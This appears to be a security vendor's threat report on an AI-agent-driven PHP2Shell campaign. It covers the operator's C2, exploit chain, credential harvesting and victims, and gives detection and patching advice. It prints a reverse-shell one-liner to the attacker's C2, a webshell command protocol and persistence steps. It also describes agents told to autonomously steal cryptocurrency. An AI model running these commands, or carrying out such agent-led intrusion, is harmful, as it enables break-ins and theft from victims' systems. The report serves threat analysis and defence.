PHP2Shell Exploited by AI Agents from Day One: Inside a Credential-Harvesting Campaign
SOCRadar Threat Research Unit (STRU) identified attacker-operated infrastructure at 206.245.153[.]56 serving as the command-and-control (C2), payload-hosting and loot-collection server of a PHP2Shell (CVE-2026-109618, CVE-2026-109619) exploitation campaign. Its exposed working directory held the operator’s exploit scripts, per-target notes, monitoring and collector scripts, and data exfiltrated from compromised hosts.
Within days of the public proofs of concept released on October 21, 2026, the operator adapted the exploit to default-configuration PHP/Apache and to individual PHP builds. Each target became a numbered job in a C2 workflow running from eligibility checks through exploitation, persistence, credential harvesting and upload.
An AI-agent system queued and ran the exploitation: a self-built job orchestrator (maq) dispatching patched Oh My Pi (omp) workers against two SSH-forwarded vLLM DeepSeek V4.1 endpoints.
The collector exfiltrated cloud API keys, IAM credentials, database backups, application secrets, OAuth tokens, repositories and session files, while token-authenticated webshells, cron reverse beacons, SSH keys and encrypted Dropbear tunnels kept long-term access.
The pattern fits an initial-access-broker (IAB) resale model, alongside an agent-driven financial-fraud track against payment platforms that reached withdrawal and account-takeover primitives without confirmed theft. Victims face follow-on cloud abuse, secondary takeovers and supply-chain compromise through stolen credentials and source code.

How the Infrastructure Was Discovered
Discovery occurred via two open, read-only HTTP endpoints hosted on the system: one publishing a directory index of the operator’s home folder and another facilitating tool distribution and exfiltrated file collection. A separate open directory was subsequently identified on 2026-11-08 on the operator’s AI lab (157.180.96[.]7:18082), exposing its full 18 GB working tree.
These endpoints exposed a comprehensive archive containing operational scripts, target-specific documentation, monitoring logs, modified exploit variants, active task directories, and a snapshot of harvested assets.
The C2 address has been reported before. Sensor data recorded it as the external endpoint for reverse shells and payload retrieval, and a separate advisory listed it as an operator server.

| Port | Service | Role |
|---|---|---|
| 22/tcp | OpenSSH | Operator administration; victim-side authorized_keys point back here, and the c2-agents key is reused across jobs |
| 80/tcp | HTTP (Python) | Per-job payload scripts served for curl … | sh, such as /j434.sh |
| 8088/tcp | Python HTTP file service (no auth, no TLS) | GET /tools/ serves collectors and kits; POST /<job>/<name>.tgz returns 201 Created and stores loot (64 MB per upload) |
| 8091/tcp | HTTP directory listing | Operator home: ≈1,259 files (≈19 MB) of scripts, notes, watchers, logs and key material |
| 41000+ | socat / tmux listeners | One reverse-shell listener per job; port = 41000 + job ID |
| 43402/tcp | Dropbear reverse tunnel | Endpoint for localhost-only Dropbear installed on victims |
Related Operator Infrastructure
| Indicator | Role | Evidence |
|---|---|---|
| 157.180.96[.]7 | AI-agent lab, rehearsal target, direct HTTP and SSH attack source, 2nd open directory | Debian 12 on Hetzner, 20 cores, ≈192 GB RAM, 39 omp workers; client address in 19 victim jobs; a C2 database note calls it “our worker” |
| 185.65.134[.]250 | External exploit and SSH jump source | Present in 94 files across 70 jobs (October 29–30), including 321 POST / requests with the PHP2Shell memory-exhaustion signature and eight SSH logins using the c2-agents key |
| s3.buckets[.]ninja | Operator MinIO object storage (rclone remote) | Operator-side buckets created October 28 |
Attack Chain
The operational lifecycle of PHP2Shell moves sequentially through target sourcing, eligibility verification, initial exploitation, shell establishment, tool retrieval, persistence configuration, data exfiltration alongside credential harvesting, asset upload, and subsequent follow-on access. Consequently, connection requests targeting port 8088 occur strictly post-exploitation, confirming active code execution on the target host.
Target sourcing: Target selection relies heavily on broad internet reconnaissance. The AI laboratory’s bulk scanner processes an imported Shodan dataset, distributing batches of 800 targets across 128 parallel workers. The lab’s custom scanning script, wide_shodan.py, queries Shodan’s host-search API for each vulnerable PHP version using the search filter X-Powered-By: “PHP/{version}” Server: Apache.
After filtering out CDN and WAF banners (including Cloudflare, Sucuri, Akamai, and Imperva), it stores raw findings in .shodan-wide – a repository of 68,198 unique hosts. From this pool, it prioritizes a shortlist of approximately 5,042 Debian-specific targets, categorized by empirical per-version RCE success rates (30.2% for 8.5.11 and 20.0% for 8.4.26). Additionally, 47 C2 entries reference a “prefilter” PHP version obtained from scanning data that was outdated during real-time verification, with 12 entries explicitly mentioning Shodan.



Eligibility and queueing: Target URLs are classified by a matrix as direct, proxied, WAF-protected, patched, or unknown, with qualified targets pushed into the maq queue to be processed as agent jobs.

PHP2Shell trigger mechanism: Exploitation initiates via a multipart POST (capped at ≈8 MiB) containing over 1,000 fields and an excessive array of tiny header lines within one part, exhausting the default 128M memory_limit. A subsequent request over the same keep-alive connection leverages dangling session state to leak memory addresses and invoke a forged HashTable destructor mapped to zif_system.

Reverse-shell callback to the C2: The injected payload triggers a compact reverse shell connecting back from the target host to the C2 via port 41000 + job ID. This payload spans 94–100 bytes within the C2’s custom 280-byte forgery layout, whereas the un-modified exploit’s 167-byte baseline accommodates a maximum of 14 bytes. Incoming connections are handled by a tmux-managed socat listener. Conversely, the alternative curl … | sh execution vector relies on a distinct mechanism to retrieve dedicated scripts (e.g., j434.sh or x280.sh) containing embedded reverse shells.
Tool staging: Upon establishing initial contact, primary payloads are fetched from port 8088, including collect.sh, deep-loot.sh, persist2.sh, php-loot.php, x280.sh, and auxiliary cloud scripts.
Persistence deployment: Redundant access mechanisms are established, including operator SSH keys, 60-second reverse-shell beacons, token-authenticated PHP webshells, application-level backdoors (such as a Nextcloud “Beacon” app and a Laravel route-cache backdoor), and a localhost-only Dropbear service maintained via auto_prepend_file.
Data collection & harvesting: Automated tasks perform read-only system inventories, execute gitleaks/trufflehog secret scans, extract database dumps, decrypt application secrets, steal ECS/IMDS role credentials, and optionally run enumeration tools such as linPEAS, LSE, or pspy.
Exfiltration pipeline: Collected loot is packed into archives and POSTed to :8088/<job>/<name>.tgz. Files exceeding 60 MB are split into 32 MB chunks, with successful transfers logged by UPLOAD=201.

Follow-on operations: Post-exploitation continues via database extraction, mailbox enumeration, and cloud API pivots using stolen credentials, with an automated watchdog maintaining active listeners, beacons, and webshell connections.

Comparison: Threat Actor Trigger vs. Public PoCs
Unlike public proof-of-concept exploits that rely on non-standard environment conditions – such as an 8M memory limit, a single worker process, and enabled display_errors in lab PoCs, or chunked request bodies and hundreds of idle connections in research PoCs – the threat actor’s trigger operates seamlessly against default configurations. It respects standard post_max_size limits, declares an explicit Content-Length, and issues both exploitation requests over a single HTTP keep-alive session to guarantee targeting of the same prefork worker child process.
Upgrading from PHP 8.4.21 to 8.4.27 reduced the stage-1 memory leak from 4,096 to 32 bytes, confirming the operator’s toolkit targets CVE-2026-109618 and CVE-2026-109619. The exploit chain relies on a Set-Cookie oracle (PHP 8.3.17+/8.4.10+/8.5.x, falling back to a SID-constant oracle in 8.2.x) and server SAPI behavior – functioning under mod_php or FrankenPHP, but failing under FPM due to worker exit on startup OOM.
A GitHub audit (2026-10-23) of ~13 public PHP2Shell repositories enabled the operator to integrate per-build offsets and optimal techniques, notably 9bie’s default-config chain (display_errors=Off, 128M limit, 150-worker prefork). A Docker test matrix (matrix_results.md) verified RCE across 10/10 vulnerable images (8.4.24–8.5.11), while all patched controls halted at stage 1.


Non-PHP2Shell Attack Vectors
Beyond the primary PHP2Shell exploit chain, analysis of the corpus uncovered several alternative intrusion paths. The lab also deployed a React2Shell scanner (r2s-scanner/) for React Server Components/Next.js RCE (CVE-2025-55182 & CVE-2025-66478), confirming execution via a deterministic value in the X-Action-Redirect header; none of ~30 tested Next.js hosts were vulnerable.
A third vector targeting ~1,050 9router instances used command injection in /api/tunnel/tailscale-install’s sudoPassword field to gain root and SSH/Tailscale persistence, though results are questionable as at least one target was a load-balanced honeypot farm.
Another intrusion attempt involved an unauthenticated, exposed MCP server facilitating root privilege escalation via a passwordless sudo policy, public .git repositories exposing sensitive credentials, an unverified Firebase Realtime Database instance, unauthenticated account search endpoints, and credential brute-forcing directed at WordPress XML-RPC interfaces.
Additionally, a distinct port-80 dropper script (j434.sh) was deployed to inject SSH public keys directly into web document roots while exfiltrating initial triage logs to port 8088.

Separately, the operator staged WordPress-plugin n-day research – patch-diffing seven consecutive Forminator releases (f1.54–f1.58.0) alongside Elementor and Code-Snippets – indicating exploit development beyond the PHP2Shell/React2Shell vectors.
Inside the C2 Platform
Operating on top of a SQLite database catalogue, the C2 server consists of a lightweight Python 3 utility (/srv/c2/c2.py, deployed as /usr/local/bin/c2) running on the Fedora VPS under /srv/c2. Each targeted machine is represented by a single database record and assigned its own dedicated reverse-shell listener, while a background root watchdog continuously monitors and restores inactive webshells and listeners. File transfers are managed separately via a standalone service operating on port 8088.

C2 Components
| Component | File / process | What it does |
|---|---|---|
| C2 CLI | /srv/c2/c2.py, /usr/local/bin/c2 | Single entry point with 17 subcommands. Reads and writes c2.db and drives tmux, socat, ss and ssh-keygen |
| Catalogue | /srv/c2/c2.db | One targets row per channel with 20 columns: id, label, url, profile, zif_off, dtor_off, htdata_off, htsize, port, cmd, method, status, chunk, lib, ws_url, ws_token, ws_path, notes, created, last_seen. label and port are unique |
| Listener | tmux session c2-<id> | Runs while :; do socat TCP-LISTEN:<port>,reuseaddr,keepalive -; done on port 41000 + id, or the next free port. The pane is the operator terminal; pipe-pane writes a transcript to sessions/<id>.log |
| Exploit driver | exploit/exploit_default.py, exploit_default_flen64.py | run_exploit passes the row’s URL, profile, offsets and command to the script (up to 3 tries) and parses chunk=… libphp=… from its output into the row |
| Per-target key | keys/<id>/id_ed25519 | Generated by ssh-keygen -t ed25519 at c2 add; the comment c2-<label>-<id> embeds the victim label |
| Beacon payload | payloads/beacon-<id>.sh | Loop that reconnects the reverse shell every 60 seconds; copied to /tmp/beacon.sh on the victim |
| Loot receiver | c2-upload.py :8088 | Python ThreadingHTTPServer rooted at /srv/c2/loot; GET list/download, POST write (201), 64 MB cap, no authentication |
| Payload host | http80/ :80 | Serves /j<job>.sh payloads for a separate dropper path |
| Watchdog | c2_watchdog.py, c2-watchdog.service | systemd service running as root every 15 seconds: starts missing listeners, runs c2 persist –start-beacon once for each live socket and calls c2 reconnect for webshells without a socket (retry every 300 seconds) |
Command Reference
| Command | Function | Mechanism |
|---|---|---|
| c2 add <label> <url> [–profile] [–port] [–notes] | Create a target | Inserts a row (status new, method none), picks the next free port from 41000 + id, generates the SSH key, stores the reverse-shell command and starts the listener |
| c2 exploit <id> [–tries] | Run PHP2Shell against the target | Starts the listener, runs the exploit with the row’s command, stores the leaked chunk/lib, and sets status shell only if ss shows an established socket on the port. Always updates last_seen |
| c2 send <id> ‘<cmd>’ [–wait] | Run a command in the shell | Types into the tmux pane (send-keys) and returns the pane tail once output settles |
| c2 attach <id> | Interactive session | tmux attach -t c2-<id> |
| c2 bootstrap <id> | Initial triage | Sends id, hostname; uname -a, pwd; ls -la, /etc/os-release, a check for bash/curl/wget/base64/python3/php/crontab/sshd, and ss -ltn |
| c2 persist <id> [–start-beacon] | Install persistence | Appends the target’s public key to ~/.ssh/authorized_keys, writes /tmp/beacon.sh via base64 and adds a per-minute cron line if crontab exists. Records method cron, webshell or key and sets status persist without verifying the key |
| c2 webshell <id> –docroot <dir> –url-base <url> | Drop a PHP webshell | Writes doc/thumb-<8 hex>.php with a random 32-hex token through the live shell, tests it with &c=id and stores the URL, token and path |
| c2 reconnect <id> | Bring a lost shell back | Starts the listener, requests <ws_url>?k=<token>&s=<port> and waits up to about 7 seconds for an established socket |
| c2 copyws <src> <dst> | Share a webshell | Copies URL, token and path to another row, giving a second concurrent channel on the same host |
| c2 list, show, note, start, stop, delete, shellcmd, init | Housekeeping | list shows conn when a socket is established, otherwise the stored status; shellcmd prints the reverse-shell one-liner; delete kills the tmux session and removes the row |
Reverse-Shell Command and Webshell Protocol
Every row stores the same style of reverse-shell command. The lock file /tmp/.c<id> limits each target to one shell; deleting it allows a new one.
[ -e /tmp/.c<id> ] || { >/tmp/.c<id>;
setsid bash -c 'bash -i >&/dev/tcp/206.245.153[.]56/<port> 0>&1' & }
Webshells are written as doc/thumb-<8 hex>.php with a 32-hex token; a wrong or missing token returns HTTP 404. Some webshells have no token and accept ?c= only.
GET <ws_url>?k=<token>&c=<cmd> run command
GET <ws_url>?k=<token>&s=<port> spawn reverse shell
Inside the C2 Database
The C2 database snapshot (targets table, IDs 1–1086) contains 1,053 rows recorded between October 21 and 25, 2026 (the lab holds its own copy, c2_audit/c2.db, 787 rows; and c2_audit/loot, a 576 MB mirror of exfiltrated data across 202 job directories / 459 archives), documenting the campaign’s exploitation attempts. While the vast majority of records represent failed attempts that produced no exploit outputs, successful compromises were concentrated within a small subset of the initial execution batches.
Additionally, 169 persistence-status entries lacking leak records contained exfiltrated data. This indicates that initial entry was gained independently of the C2’s native exploit driver, as custom agent sessions and alternative drivers do not log chunk or lib artifacts.
Keyword bucket, first match per note.
| Batch | Rows | Leak | Shell/conn | Loot | Reading |
|---|---|---|---|---|---|
w Oct 22, 02:16-03:02 | 78 | 25 | 23 | 73 | First hand-run wave; highest success rate |
w2 Oct 22, 06:26 – Oct 23, 05:51 | 151 | 50 | 25 | 38 | Second wave; most recorded leaks |
gh4 Oct 23-24 | 22 | 11 | 8 | 11 | Small calibrated batch (flen64 variants) |
q1-q6 Oct 21, 22:02 – Oct 25, 10:06 | 784 | 3 | 2 | ≈110 | Bulk batches (74% of rows) with almost no exploit records; access was handled by other tooling |
a1, a2, demo51, j* Oct 21-25 | 18 | 2 | 1 | 7 | Operator tests and single jobs |
86 of the 91 recorded leaks and 56 of the 59 shells come from the w, w2 and gh4 batches (251 rows), so the C2 database documents exploit results for these batches only.
Targets at IP Level
Counting rows overstates the number of targets. The catalogue stores a URL, and the operator usually wrote the resolved IP into the label (<batch>-<ip>-<port>), so targets can be counted by host and by IP.
| Measure | Count |
|---|---|
| Rows | 1,053 |
| Distinct URLs | 869 |
| Distinct hosts (286 IP literals, 567 hostnames) | 853 |
| Distinct IPs known (for 555 rows; 498 hostname rows have no IP) | 457 |
AI-Agent Orchestration and C2 Integration
The threat actor operated the AI-agent framework on a dedicated lab host (157.180.96[.]7), connecting to the central C2 server via SSH using a specialized key (c2_ed25519). While the C2 host managed active sessions, reverse listeners, victim records, and exfiltrated loot, the lab host handled target evaluation, queue management, and automated agent tasking. Both systems relied on shared target identifiers, unified upload paths, and a synchronized target database.
- Targeting & Queue Management: Target eligibility and categorization are determined by matrix.py and eligibility.py. Valid targets are pushed to the maq agent jobs via enqueue.py, where job execution is distributed across 39 parallel omp workers and a single organizing process.
- LLM Infrastructure & Routing: Worker requests are load-balanced by balance_models.py across dual DeepSeek V4.1 backends running on vLLM, accessible via local SSH tunnels on ports 18317 and 18318.
- C2 Database Synchronization: The agent infrastructure polls /srv/c2/c2.db over SSH every 15 seconds using maq_monitor.py. In total, 194 entries in the C2 database explicitly reference an agent job ID, spanning 181 unique jobs.
- Infrastructure Attribution: An internal C2 entry explicitly designates 157.180.96[.]7 as “our worker,” confirming that the lab system was an integral part of the attacker’s primary operational setup.
C2 records show a clear operational divide: C2 driver scripts (w, w2, gh4) caused most initial breaches, yielding 86 of 91 memory leaks and 56 of 59 interactive shells. In contrast, q batches contain no exploit logs despite connecting to approximately 110 exfiltrated loot folders.
This demonstrates that data gathering proceeded independently of the C2’s native exploitation tracking. Because this snapshot cannot clarify if the actions stemmed from autonomous agents or manual operator execution within unarchived tmux/maq sessions, the true degree of automation remains unconfirmed.
While the opportunistic track shows varying automation levels, the lab’s GOAL.md file specifies a fully autonomous “/goal” instruction to capture over $50k USDT through a live payout mechanism (“keep working autonomously until a real payout is executed“), demonstrating clear goal-driven autonomy for high-value targets.

Accidental Exfiltration of the Operator’s AI Lab
Job 176 initially targeted a standard victim environment – a Debian container running Apache and PHP 8.4.26. Approximately two minutes after the victim collection, however, an agent worker (MAQ_ROLE=worker) executed the collector script as root against the AI lab itself rather than through the compromised target; because collect.sh inventories whatever host it runs on – the -i flag sets only the C2 upload folder, not the target – the run captured the operator’s own machine.
Uploaded under the identical C2 job identifier (/176/), it exposed a 1 MB full-system snapshot of the threat actor’s environment (root@debian-12, 157.180.96[.]7) in the public loot repository – a target-selection/OPSEC failure in the operator’s own pipeline.
An open directory found on 2026-11-08 exposed the AI lab’s 18 GB working tree (157.180.96[.]7:18082). It confirms Shodan target sourcing, exploitation of CVE-2026-109618 and CVE-2026-109619, and an agent-driven financial-fraud campaign pivoting into application pods via unauthorized etcd → APISIX route injections.
The repository’s 389 per-target rce_notes document an interactive shell on 217 systems but root on only 12 (most access was unprivileged www-data inside containers). Autonomous AI instructions (GOAL.md) directed the agent to steal over $50k USDT.
Despite demonstrating live crypto-withdrawal primitives and account takeovers, no actual theft occurred: withdrawals on one payment platform remained pending from a dev account linked to a real payout API, while the attack on a second USDT platform failed due to a lack of reachability.

| Leaked | What it shows |
|---|---|
| Host identity | Hostname debian-12, address 157.180.96[.]7, Hetzner dedicated server, Debian 12, Intel Core Ultra 7 265, 20 threads, 192 GB RAM, 1.8 TB disk, 1,521 processes at a load of 11 |
| Link to the C2 | 18 established and 182 recent SSH connections to 206.245.153[.]56:22, matching the queue monitor’s 15-second polling of the C2 database |
| Agent workspaces | Copies of 52 agent job directories (jobs 6 to 251), 51 session files and 470 work files: PHP source builds, victim archives (44 zip, 31 tgz) and configuration, including the agent queue config |
| Live processes | 39 concurrent agent workers with their target URLs, per-job prompt paths and model assignments; two model endpoints on local ports 18317 and 18318 |
| Peers | 37 distinct external addresses in the socket table: 21 are in the C2 catalogue and 8 in the 452-job registry, so the lab talks to the same targets as the C2 |
| Local copy of the loot | A mirror of C2 loot under /tmp/c2loot and per-victim configuration copies under /tmp, so victim data is held on the lab as well as the C2 |
| Build workspace | PHP source trees for 8.5.11, 8.4.26, 8.4.18 and 8.3.27, the per-build calibration material |
| Who ran the collector | The shell environment carries MAQ_ROLE=worker, OMP_PROFILE=maq, OMPCODE=1 and CLAUDECODE=1, a queue job directory and an inference-service key variable (not reproduced). An AI worker therefore executed collect.sh -i 176 on the wrong host. CLAUDECODE is set by Anthropic’s Claude Code CLI; it shows the agent harness is Claude Code or compatible with it, not which model answered: the queue configuration points the workers at DeepSeek V4.1 endpoints |
| Agent session footprint | Two queue homes (.maq with project attempt1, .maq-rce with project rce); 23 agent sessions across 19 job directories between Oct 21, 21:32Z and Oct 22, 02:16Z, with tool-output logs numbered up to 518 in a single session |
| Model and GPU plumbing | Systemd services deepseek-tunnel (18317) and deepseek-b200-tunnel (18318) forward SSH tunnels to rented GPU machines, and maq-router balances jobs between them; key and known-hosts files are named after two GPU rental providers (lium, runpod) |
| Privacy tooling | The Mullvad VPN daemon runs with an nftables rule exempting inbound SSH from the tunnel; a boot-time dead-man unit is present but failed |
| Provisioning trail | Short, manual root shell history: package updates, installing jq, ripgrep, tmux, build tools and uv, then repeated maq attach to watch agent terminals. The C2 key on the lab was created on Oct 21 at 21:23Z |
| Crypto-wallet sweeper | A crypto-swiper project (Python 3.13 with XRPL and NaCl libraries, a rotating proxy pool, per-chain RPC settings) and a root service on 127.0.0.1:8077 |

Tooling
While core exploit mechanics and general tooling remain available publicly, key operational components – including custom triggers, build-specific calibration routines, C2 orchestration, data collection modules, and persistence mechanisms – were developed directly by the operator.
| Tool | Role | Why it matters |
|---|---|---|
| exploit_default*.py (+ -flen64) | PHP2Shell exploit fork | Default-limit trigger, keep-alive pinning, per-build profiles for PHP 8.2–8.5 and a 64-byte forgery variant |
| c2.py, c2_watchdog.py | Per-target C2 manager and watchdog | SQLite job store and a 15-second loop that restarts listeners and reconnects webshells |
| collect.sh, deep-loot.sh | Inventory and deep secret scan | Fixed output layout shared by every job; gitleaks/trufflehog across web roots and .git history |
| persist2.sh, x280.sh, j468/keep.sh | Persistence payloads | SSH key drop, beacon, webshell, cron, and a localhost-only Dropbear with reverse tunnel and LD_PRELOAD shim |
| j370_beacon.tgz, Laravel backdoor | Application-level persistence | Nextcloud app respawning a reverse shell every 300 seconds; Laravel route-cache backdoor with a fixed token |
| j240_aws.php, awsq.php | Cloud credential theft | Reads ECS task-role credentials, signs AWS requests and enumerates STS, S3, Secrets Manager, SSM and RDS; probes AWS, Alibaba and GCP metadata |
| matrix.py, enqueue.py, balance_models.py | AI queue and model routing | Classifies targets, feeds maq and balances workers across the vLLM endpoints |
Public components include the 9bie/php2shell-bypass-aslr-exp and 3em0/php2shell PoCs, gitleaks, trufflehog, linPEAS, LSE, pspy, Dropbear, rclone, socat and tmux. Dirty COW (CVE-2016-5195) and a Copy Fail (CVE-2026-31431) port were staged, with no execution evidence.
Collection and Loot
Exfiltrated victim data is routed through a unified exfiltration path: host-side scripts (collect.sh and deep-loot.sh) archive gathered assets and transmit them via POST requests to port 8088, where they are indexed by task ID. As of November 3, 2026, the repository snapshot comprised approximately 290,000 files totaling 9.5 GB distributed across 481 numeric job directories, with 8.6 GB generated from 452 jobs containing verified victim artifacts.

The threat actor explored three distinct crypto-related attack vectors, none of which resulted in successful financial gain:
- Breached a dev stack via etcd → APISIX route injection, captured OIDC/HMAC keys to take over production accounts, and initiated a ~456,900 USDC withdrawal on another platform that remained pending. However, it successfully exfiltrated ~3.3M user/session records (~1 GB) from unauthenticated Redis.
- Exposed DB-root credentials, a 1.71M USDT ledger, and 100+ Binance keys, but the live system was unreachable, blocking the autonomous GOAL.md >$50k-USDT objective.
- Mass-downloaded wallet.dat files; the only exposed wallet had 0 UTXO, ~7.3 BTC remained encrypted, and its vault (0x58da…097e) is empty. Separately, 11,124 mailboxes and AWS/GCP/Alibaba clouds were enumerated.

Each exfiltrated bundle follows a uniform directory organization comprising README.txt, meta.tsv (capturing approximately 60 system parameters along with the C2 job ID), manifest.tsv, and sequential inventory logs indexed from 00-identity to 23-crypto-candidates. Beyond these core files, packages contain system configuration backups, active session data, cryptographic keys, uploaded source code samples, native PHP runtime profiles, and Git metadata. For extended bundles, additional telemetry includes repository commit histories, gitleaks findings, and optional scan results from linPEAS and trufflehog.
| Class | Count | Spread | Notes |
|---|---|---|---|
| Secret-scan hits | 114,046 | 516 bundles | Keyword matches, capped at 400 per host (215 bundles hit the cap). |
| AWS key IDs | 49 | 141 jobs | 16 long-term, 33 temporary; shared across jobs of one estate. |
| Application secrets | 191 .env files | 144 jobs | Examples excluded. 113 jobs also hold DB or service URLs with a password. |
| Database dumps | 589 files | 22 jobs | 530 from a single host. |
| Nextcloud accounts | 33 mail accounts | 16 jobs | Plus 1,047 token and 439 user rows (lower bounds). |
| Git repositories | 143 | bundles | History scanned with gitleaks. |
| Private keys | 18 files | 8 jobs | .pem files not counted (mostly CA certificates). |
| Endpoint stores | 866 keychains | 6 jobs | Plus 211 Chrome Login Data files (1 job) and 32 VPN profiles (3 jobs). |
| 1,076 .eml | 1 job | One mailbox export. |
Analysis shows that keyword hits produce high amounts of noise: approximately 84% reside within text files, scripts, and application source code. Conversely, operational credentials are heavily concentrated in .env and configuration files, which account for roughly 2% of findings. Across 123,234 total gitleaks detections, 90% stem from low-fidelity generic-api-key matches. The strongest signals for actionable credentials are vendor-specific rules (such as AWS, GCP, OpenAI, Stripe, and private keys), which collectively comprise 2,861 findings.
Victimology
Victim data comes from the collector bundles and the operator’s job registry. Across both exposed directories, the operator targeted 595 unique IPs in 57 countries, drawn from a Shodan pool of 68,198 hosts shortlisted to about 5,042. The AI-lab directory shares 337 hosts with the earlier findings, confirming a single operation, and adds 202 new targets.
Of these, 404 hosts were compromised. Of the 452 collection jobs, 433 hold victim-side loot or check-in evidence, which establishes compromise across about 393 unique hosts. The remaining jobs are lab-side bundles, and job 176 also captured the operator’s own lab. The AI lab’s rce_notes directory holds 389 per-target exploitation notes, against 23 in the earlier dump and the initial 14-note baseline. Those notes document an interactive shell on 217 hosts but root on only 12; 219 landed as unprivileged uid=33 www-data, most inside containers.

Target selection followed PHP/Apache exposure, and the victims include financial platforms and a lottery service. Of the 452 jobs, custom PHP applications accounted for 200 and Nextcloud for 163, followed by Apple/MDM (14), GitLab (7), MSSQL backup hosts (6), WordPress (3), Drupal and Moodle. At least 308 jobs (68%) ran in Docker or Podman containers, and Amazon EC2 was the most common host (112 jobs).

A sector could only be assigned where a bundle identified the organization, which covers about 120 jobs:
Target selection relied on PHP and Apache fingerprinting rather than specific industry sectoring. The presence of high-value data within the collected corpus is a function of the vulnerable exposed hosts discovered, rather than intentional organizational targeting.
Attribution and Operating Model
Although the documented dataset provides comprehensive visibility into victim sessions, exfiltrated assets, operational tooling, and network infrastructure, it lacks definitive persona profiles, linguistic markers, registration intelligence, or distinct malware signatures necessary to attribute the campaign to a specific threat group.
The AI-lab open directory provides concrete attribution handles: the operator’s crypto-swiper vault address, reused “omp”/”maq” naming across tools and accounts, a cleartext Shodan API key (1vg***5vn – Username: jfdioiosda), a tempmail address, reused SSH keys (c2-agents, 9router_ed25519) – offering key pivots for infrastructure intelligence.
| Dimension | Assessment | Evidence |
|---|---|---|
| Tooling origin | Modified public framework plus custom orchestration | Docstring credits two public PoCs; collector, watchers, C2 job model and cloud helpers are operator-specific |
| Technical complexity | Moderate | Heap-groom adaptation and default-limit trigger; no novel memory-corruption research or anti-analysis |
| Operational tradecraft | Average | Organized job model, but a conventional footprint reused across jobs and no cleanup discipline |
| AI usage | Material | Self-built maq job orchestrator dispatching patched omp workers and two vLLM DeepSeek V4.1 endpoints |
| Novelty | Documented CVE; undocumented campaign | The toolkit, pipeline and victim set were not found in public reporting |
STRU assesses with moderate confidence that the activity and victim mapping reflect an unauthorized, financially motivated operator working in the initial-access-broker pattern (capable opportunist with strong automation). Confidence in identity is low: no named actor matches and the operator’s origin is not established; tooling and notes are English-language only.
Conclusion
SOCRadar Threat Research Unit reconstructed the operator’s infrastructure, exploit fork, C2 database and victim-side bundles to show how a public proof of concept became an automated pipeline for exploitation, persistence and credential theft within days of disclosure.
The operator built a job-based C2, a standard collector and an AI-agent layer that turned each shell into cloud keys, database dumps and source code. The campaign was human-directed and AI-augmented. GOAL.md told an agent to pursue over $50,000 in USDT “autonomously until a real payout is executed”, and DeepSeek-powered workers tailored exploits, created C2 records and ran exfiltration. Full autonomy was never reached: the main financial targets failed, and no chain completed without manual oversight.
The operation has weaknesses. The toolkit fails against fixed PHP releases, most targets produced no recorded exploit result, and fixed ports, a reused SSH key and a uniform bundle layout give defenders durable detection points.
AI-assisted operations shrink the gap between disclosure and mass compromise from weeks to days. Defenders should patch fast, hunt for persistence, rotate credentials on exposed hosts and track the infrastructure behind exploitation campaigns.
Recommendations
- System Patching & Version Verification: Upgrade PHP to 8.2.35, 8.3.36, 8.4.27, or 8.5.12 on all exposed hosts, restart Apache and PHP-FPM, and verify SAPI versions beyond CLI php -v.
- Network Perimeter & Infrastructure Defenses: Limit multipart fields/headers and rate-limit large POSTs at WAF/web server levels. Treat PHP_SESSION_UPLOAD_PROGRESS filtering as secondary. Enforce IMDSv2, restrict task roles, and alert on web process access to metadata endpoints.
- Threat Hunting & Persistence Investigation: Hunt for persistence indicators like /tmp/beacon.sh, /var/www/html/.p/, Dropbear on 127.0.0.1:2222, rogue auto_prepend_file directives, unfamiliar authorized_keys, upload-path webshells, and /tmp/.c<id> markers. Reimage compromised hosts when feasible.
- Indicator Blocking & Log Searching: Search telemetry for 206.245.153[.]56, 185.65.134[.]250, and 157.180.96[.]7 (specifically port 8088 and ports 41000–49153) and block them across all controls.
- Credential Revocation & Secret Rotation: Revoke and rotate all accessible secrets (cloud keys, role sessions, DB credentials, app secrets, OAuth/JWT tokens, SSH keys, PHP sessions) and audit cloud logs back to October 21, 2026.
- Attack Surface Reduction & Hardening: Audit custom PHP, Nextcloud, and Git setups. Restrict unauthenticated MCP servers, exposed .git directories, open Firebase rules, and user-search endpoints. Disable display_errors in production and alert on execution of gitleaks, trufflehog, or linPEAS.
- Access Control & Key Management: Use ephemeral SSH keys and continuously monitor web-server authorized_keys files.
Detection and Hunting
- Exploit traffic: Multipart POSTs within a few bytes of post_max_size with more than 1,000 fields and one part holding an extreme number of 5-byte header lines; HTTP 500 with X-Powered-By: PHP; a second POST on the same keep-alive connection; Set-Cookie: PHPSESSID of about 4,096 or exactly 16 bytes. On Nextcloud, POSTs to /status.php, /cron.php and /public.php
- Logistics traffic: Plain HTTP to 206.245.153[.]56:8088 fetching /tools/(collect|deep-loot|persist2).sh or /tools/(php-loot|j240_aws).php, POSTs to /<digits>/<name>.tgz answered with 201, and port-80 GETs of /j<job>.sh piped to sh
- Host activity: Web-server children spawning sh, curl or bash -i; reverse shells to ports 41000–49153; new authorized_keys entries; Dropbear bound to loopback; UPLOAD=201 in logs; collector bundles (meta.tsv, 13-secret-hits) in /tmp
- Cloud activity: Web-app roles or keys calling STS, S3, Secrets Manager, SSM or RDS enumeration from non-VPC IPs; metadata-endpoint requests from web processes
MITRE ATT&CK Mapping
| Tactic | Technique | Procedure |
|---|---|---|
| Reconnaissance | T1595.002 Vulnerability Scanning | PHP/Apache fingerprinting; eligibility matrix for direct, proxied, WAF and patched targets |
| Resource Development | T1587.001 Malware | Exploit fork, collector, persistence kits, C2 manager and maq agent queue |
| Resource Development | T1588.002 Tool | Public PHP2Shell PoCs, gitleaks, trufflehog, linPEAS, LSE, pspy, Dropbear, Dirty COW |
| Resource Development | T1583.003 Virtual Private Server | Fedora VPS C2 and a separate Hetzner lab/jump host |
| Initial Access | T1190 Exploit Public-Facing Application | CVE-2026-109618 against Apache mod_php; MCP, .git and Firebase exposures in separate jobs |
| Execution | T1059.004 Unix Shell | Reverse shells, curl | sh and collector scripts |
| Persistence | T1505.003 Web Shell | Token-protected PHP hooks and webshells |
| Persistence | T1098.004 SSH Authorized Keys | Per-job and shared c2-agents ed25519 keys |
| Persistence | T1053.003 Cron | Cron-driven beacons and webshell callbacks |
| Persistence | T1543.002 Systemd Service | Systemd-managed root beacons and a second attacker-controlled sshd |
| Privilege Escalation | T1548.003 Abuse Elevation Control: Sudo | Job 1036 (non-PHP2Shell path): unauthenticated MCP to fbo Bash, elevating via sudo NOPASSWD python3 to root, adding root authorized_keys and a 2-min cron (recorded in C2 note). |
